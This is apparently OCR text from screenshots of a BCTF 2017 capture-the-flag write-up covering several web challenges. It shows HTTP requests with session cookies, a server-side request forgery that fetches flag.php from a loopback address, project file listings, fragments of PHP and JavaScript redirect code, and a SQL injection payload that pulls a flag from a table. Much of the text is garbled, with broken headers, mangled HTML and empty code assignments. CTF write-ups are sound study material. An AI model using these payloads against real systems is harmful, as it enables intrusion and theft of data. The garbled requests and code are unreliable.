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Welcome to the shop! Your balance is $10, have fun-~

(a) hello kitty 516

(b) flag of hello kitty 510

(c) flag of flag shop 5999

(d) flag of babysQL FREE
Now tell me what do' you want to buy: [}
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Accept-Encoding: gzip, deflate Content-Length: 41
Content-Type: application/x-www-form-urlencoded; charset=UTF-&
X-Requested-With: XMLHttpRequest {"files":{"s1ze":80,"error":"Not Image"}}

Referer: http://paint.bctf.xctf.org.cny

Content-Length: 42

Cookie: _ cfduid=d4dal3gssfaeslble7{ded614d86a42571492326016; token=NxArhGPKLMmen9Y9QPePHSBbFqQPLgnU
Connection: close

url=http://paint.bctf.xctf.org.cn/flag.php

ACCEpPT-ENCOOLNg: gZlp, deTLate LONTENT-LENgTn: 42
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest {"files":{"s1ze":374,"error":"Not Image"}}

Referer: http://paint.bectf.xctf.org.cn/

Content-Length: 29

Cookie: _ cfduid=dddal3856fae61b187fded614d85a42571492326916; token=NxArhGPKLMmenSY 90PePHSBBFqQPL gqnUl
Connection: close

url=http://127.0.0.2/flag.php
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You got the flag. I hope you enjoy it.<br=<br=

The source code will be uploaded after the game on https: ithub.com/firesunCN<br=<br=
Any advice or suggestions will be greatly appreciated.<br=<brz
bctf{GO73Q0100BmM4fWKJ81ESTGdb9IBkbnPzh} &g
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N . |r' - :'_E_:-_;E_m T * profiles_settings.xml 74B 7~ 1548 2017 19:13:24

bendawangxm! ~[ dictionaries 41kB 751548 2017 19:13:52

Fisexml * bendawang.xml 88B 7% 1548 2017 19:13:52

m ~ misc.xml 1.7kB 751548 2017 19:13:52

i orkspacexm ~ modules.xml 258B 751548 2017 19:13:24

A ~®application 41kB 751548 2017 19:21:03 ~ web.iml 281B 751548 2017 19:13:24

» i cache 41kB 751544 2017 19:21:03 ~ workspace.xml 19.5kB 7% 154H 2017 20:02:09

i ~I config 4.1kB 75 154H 2017 19:21:03 ~i application 41kB 751548 2017 19:10:47

autoload.php 3.1kB 751548 2017 19:21:03 v cache 41kB 751548 2017 19:10:47

I  config.php 12.8kB 751548 2017 19:21:03 =0 config 41kB 751548 2017 19:10:47

constants.php 1.6kB 75 1544 2017 19:21:03 autoload.php 31kB 751548 2017 19:10:47

[ ' database.php 3.2kB ;751544 2017 19:21:03 = config.php 12.8kB 751548 2017 19:10:47

doctypes.php 1.1kB 751548 2017 19:21:03 constants.php 1.6kB 751548 2017 19:10:47

foreign_chars.php 1.8kB 751548 2017 19:21:03 | database.php 3.2kB 751548 2017 19:10:47

hooks.php 498B ;51544 2017 19:21:03 doctypes.php 1.1kB 751548 2017 19:10:47

i index.html 114B 751544 2017 19:21:03 Foreign_chars.php 1.8kB 75 154H 2017 19:10:47

B migration.php 1.3kB 75 154H 2017 19:21:03 hooks.php 498B 75 1548 2017 19:10:47

1 mimes.php 4.4kB 7N 154H 2017 19:21:03 index.html 114B 751548 2017 19:10:47

profiler.php 564B 7% 154H 2017 19:21:03 migration.php 1.3kB 751548 2017 19:10:47

§  routes.php 1.6kB 751548 2017 19:21:03 mimes.php 4.4kB 751548 2017 19:10:47

smileys.php 33kB 7% 154H 2017 19:21:03 profiler.php 564B  7X 154K 201719:10:47

} user_agents.php 5.6kB 75 154H 2017 19:21:03 ¥ routes.php 1.6kB 751548 2017 19:10:47

=~ controllers 41kB 751548 2017 19:21:03 smileys.php 3.3kB 51548 2017 19:10:47

* admin.php 974B 75 154H 2017 19:21:03 user_agents.php 5.6kB 751548 2017 19:10:47

J “ blog.php 405B 751548 2017 19:21:03 - controllers 41kB 751548 2017 19:10:47

bleg_backup_20t+i.php “ admin.php 1.4kB  75154K 2017 19:10:47

| e e % blog.php 476B 751548 2017 19:10:47

bl bocbei 2n1a nhe “ blog_backup_2011.php 450B 751548 2017 19:10:47
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| blog_backup_2011.php 45
“ blog_backup_2012.php 45|
| blog_backup_2013.php 45
“ blog_backup_2014.php 45
| blog_backup_2015.php 45
= blog_backup_2016.php 45|
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public function index()

{
Sthis->load->view('blog/v_blog home backup 2814');
Sthis->session->set_userdata( array( 'logged_in' => 'yes' ) );
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redir =

window.location =
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login = {

loginImg = document.createElement( );
loginImg.src

loginImg.onerror = redir;

redir =

code=

loginImg2 = document.createElement( M
loginImg2.src =
loginImg2.onerror =

window.location =
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= <div class="navbar-collapse collapse” 1d="navbar-main"=> <ul cla
ref="/about/" style="font-size: 14px;">About</a=</li> <li=<a href=
flag. Flag is betf{bFIbSakOT72T8HbDIrlst4kXGYbaHWgV 1 </h3:
form-group™= <label for="usemame">Rate for this problem: </labe]
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Accept-Language: zh,en-US;q=0.7,en;q=0.3 Content-Length: 88

Accept-Encoding: gzip, deflate Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-&
X-Requested-with: XMLHttpRequest {"desc": "Cool, give you an interesting string: bctf{oadeo685303ed109abed3a80269563c4} "}

Referer: http://aliceandbob.betf.xctf.org.cny/

Content-Length: 95

Cookie: _ cfduid=d4dal3e56fae61b187f ded514d85a42571492326916; token=NxArhGPKLMmengY 9QPePHSELFGQPLgnU
Connection: close

" union select flag from flag#
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